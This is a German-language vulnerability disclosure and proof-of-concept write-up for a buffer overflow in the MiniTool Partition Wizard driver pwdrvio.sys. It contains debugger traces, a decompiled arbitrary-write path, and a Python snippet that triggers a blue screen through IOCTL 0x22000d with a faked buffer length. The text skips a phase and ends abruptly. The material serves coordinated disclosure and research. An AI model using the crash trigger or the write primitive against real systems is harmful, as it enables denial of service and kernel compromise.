CVE-2026-36980-Kernel-BSOD-DoS-PoC

Projektdatum: Feb 2026 / Entdeckte eine Pufferüberlauf-Schwachstelle im IOCTL-Handler des Kernel-Treibers pwdrvio.sys. Die Schwachstelle ermöglicht es einem unprivilegierten lokalen Angreifer, Kernel-Pool-Speicher zu beschädigen, was einen sofortigen Systemabsturz (BSOD) und einen Denial-of-Service auslöst.

• 2026-02-09 Hersteller benachrichtigt
• 2026-03-05 Hersteller bestätigt
• 2026-03-05 CVE bei MITRE beantragt
• 2026-05-10 Öffentliche Offenlegung nach 90-tägiger koordinierter Offenlegungsfrist

https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101

Denial of Service (DoS) Schweregrad: MITTEL CVSS 3.1 Punktzahl: 5.5 (DoS)
CVSS-Vektor-String:

• DoS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Pufferüberlauf — Denial of Service (CVSS 5.5 - MITTEL)

• Löst Blue Screen of Death (BSOD) aus
• Eigenständige Ausnutzung (kein Debugger erforderlich)
• Verursacht durch Pufferüberlauf via IOCTL 0x22000d
• Konsistenter Absturz über alle getesteten Konfigurationen hinweg

Angriffsvoraussetzungen:

• Lokaler Zugriff auf das Zielsystem
• Standardbenutzerkonto (kein Administrator)
• MiniTool Partition Wizard installiert oder deinstalliert (Treiber pwdrvio.sys geladen)

Ausbeutungsergebnisse: DoS - Sofortiger Systemabsturz, Dienstunverfügbarkeit

Timeline der Schwachstellenentdeckung

Phase 1: Erstes Fuzzing und BSOD-Entdeckung

Datum: 5. Februar 2026
Aktivität: Systematisches Kernel-Treiber-Fuzzing mit benutzerdefiniertem Python-Fuzzer

Entdeckungsprozess:

1. Zielauswahl:

   • Aufgelistete installierte Kernel-Treiber auf Windows 10 VM
   • pwdrvio.sys als ältester Treiber identifiziert (Zeitstempel: 16. Juni 2009)
   • Treiberdatei: C:\Windows\System32\drivers\pwdrvio.sys
   • Geräteobjekt: \\.\PartitionWizardDiskAccesser\0

2. Erstes Fuzzing:

   • Python-Fuzzer mit ctypes entwickelt, um mit dem Treiber zu interagieren
   • Zufallsdaten via WriteFile/DeviceIoControl an das Treibergerät gesendet
   • Ergebnis: Mehrere Blue Screens of Death (BSOD)

3. Verifier-Aktivierung:

   • Driver Verifier für verbesserte Absturzerkennung aktiviert

   verifier /standard /driver pwdrvio.sys
   

   Verifier-Konfiguration:

   Verifier-Flags: 0x001209bb
   Standard-Flags aktiviert:
     [X] Special pool
     [X] Force IRQL checking  
     [X] Pool tracking
     [X] I/O verification
     [X] Deadlock detection
     [X] DMA checking
     [X] Security checks
     [X] Miscellaneous checks
     [X] DDI compliance checking
   

Phase 2: WinDbg Kernel-Debugging-Setup

Datum: 5.-6. Februar 2026
Aktivität: Kernel-Debugging-Umgebung für Ursachenanalyse eingerichtet

Einrichtungsverfahren:

1. VMware-Serielle-Port-Konfiguration:

   VMware Workstation Pro → VM-Einstellungen
   ├─ Hardware hinzufügen → Serielle Schnittstelle
   ├─ Verbindung: "Named Pipe verwenden"
   ├─ Pfad: \\.\pipe\com_1
   ├─ Ende: "Dies ist der Server"
   └─ E/A-Modus: "CPU bei Poll abgeben" ✓
   

2. Gast-BS-Konfiguration:

   REM Administratoreingabeaufforderung
   bcdedit /debug on
   bcdedit /dbgsettings serial debugport:1 baudrate:115200
   shutdown /r /t 0
   

3. Host-WinDbg-Verbindung:

   WinDbg → Datei → An Kernel anfügen
   ├─ Port: \\.\pipe\com_1
   ├─ Baudrate: 115200
   ├─ Pipe: ✓
   └─ Neu verbinden: ✓
   
   Ergebnis: "Kernel-Debugger-Verbindung hergestellt."
   

Phase 3: Ursachenanalyse – Entdeckung eines beliebigen Schreibzugriffs

Datum: 6. Februar 2026
Aktivität: Beliebiger Kernel-Schreib-Primitiv identifiziert

Analyseschritte:

1. Modulanalyse:

   1: kd> lm m pwdrvio
   start             end                 module name
   fffff805`315f0000 fffff805`315f8000   pwdrvio  (16. Jun 2009)
   
   1: kd> !drvobj pwdrvio 2
   Driver object (fffff805`XXXXXXXX) is for:
    \Driver\pwdrvio
   
   DriverEntry:   fffff805`315f6008
   DriverUnload:  fffff805`315f1060
   
   Dispatch-Routinen:
   [00] IRP_MJ_CREATE                      fffff805`315f108c
   [02] IRP_MJ_CLOSE                       fffff805`315f12f8
   [03] IRP_MJ_READ                        fffff805`315f16c4
   [04] IRP_MJ_WRITE                       fffff805`315f1564  ← Ziel
   [0e] IRP_MJ_DEVICE_CONTROL              fffff805`315f1404
   

2. Entdeckung der verwundbaren Anweisung:

   Breakpoint auf Write-Handler setzen:

   1: kd> bp pwdrvio+0x1641
   1: kd> g
   
   Breakpoint 0 hit
   pwdrvio+0x1641:
   fffff805`315f1641 498943f0        mov qword ptr [r11-10h],rax
   

   Kritischer Fund: Beliebiger Schreib-Primitiv identifiziert!

   • Anweisung schreibt Kernel-Zeiger (RAX) an Adresse [R11-0x10]
   • R11 wird vom Stack-Frame geladen: mov r11, qword ptr [rbp+0xB8h]
   • Keine Validierung der Zieladresse

3. Registerzustandsanalyse:

   0: kd> r
   rax=fffff805315f1364  ← Kernel-Code-Zeiger
   r11=ffffe60f84c38750  ← Zieladresse (über Stack gesteuert)
   rbp=ffffe60f84c38610  ← IRP-Stack-Frame
   
   0: kd> dq @rbp+0xB8 L1
   ffffe60f`84c386c8  ffffe60f`84c38750  ← R11 von hier geladen
   

Phase 4: UAF-zu-beliebigem-Schreibzugriff-Analyse

Datum: 6.-7. Februar 2026
Aktivität: Schwachstelle von Use-After-Free zu Write-What-Where-Bedingung zurückverfolgt

Speicherbeschädigungskette:

1. IRP-Allokation:

   0: kd> !pool @rbp
   Pool page ffffe60f84c38610 region is Special pool
   *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
   Pooltag Irp+ : I/O verifier allocated IRP packets
   

2. Pufferbeziehung:

   0: kd> r rsi
   rsi=ffffe60f828df900  ← Benutzerpufferposition
   
   0: kd> ? @rbp - @rsi
   Evaluate expression: 35823344 = 00000000`02229ef0  ← 35MB Differenz!
   

   Analyse: Benutzerpuffer ist NICHT direkt vom RBP-Frame aus zugänglich

   • RBP zeigt auf IRP-Struktur im Kernel-Pool
   • Benutzerpuffer befindet sich in anderem Speicherbereich
   • RBP+0xB8-Offset zeigt NICHT in einen benutzergesteuerten Puffer

3. Use-After-Free-Bedingung:

   Der Treiber behält hängende Zeiger in der IRP-Struktur:

   // Ghidra-Dekompilierung (pwdrvio+0x1564)
   longlong lVar1 = *(longlong *)(param_2 + 0xb8);  // Von IRP laden
   
   // Keine Validierung!
   lVar5 = IoBuildAsynchronousFsdRequest(...);
   
   // Schreiben nach [lVar1 - 0x10]
   *(code **)(lVar3 + -0x10) = FUN_00011364;  // Beliebiger Schreibzugriff!
   

Phase 6: Denial-of-Service-Identifikation

Datum: 8. Februar 2026
Aktivität: Eigenständige DoS-Schwachstelle entdeckt

Entdeckung:

1. IOCTL-Fuzzing:

   • Verschiedene IOCTL-Codes mit fehlerhaften Puffern getestet
   • IOCTL 0x22000d als verwundbar identifiziert

2. Absturzmechanismus:

   # Verwundbare Parameter
   TARGET_IOCTL = 0x22000d
   
   input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
   real_output_buffer = ctypes.create_string_buffer(4)
   fake_output_length = 8192  # Treiber vertraut diesem Wert!
   
   DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
                   real_output_buffer, fake_output_length, ...)
   

3. Treiberverhalten:

   • Treiber vertraut der vom Benutzer gelieferten Ausgabepufferlänge
   • Versucht, 8192 Bytes in einen 4-Byte-Puffer zu schreiben
   • Pufferüberlauf → Pool-Beschädigung → BSOD

Verifier-Ausgabe:

DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Beschädigte Pool-Allokation
Arg2: fffff805315f1404, Treibercode-Adresse
Arg3: ffffe60f84c38000, Pool-Allokationsadresse
Arg4: 0000000000000091, Beschädigungstyp

PROCESS_NAME: python.exe

Schwachstelle #2: Denial of Service (DoS)

CWE-Klassifizierung

• CWE-120: Buffer Copy without Checking Size of Input
• CWE-119: Improper Restriction of Operations within Memory Buffer
• CWE-248: Uncaught Exception

Schwachstellendetails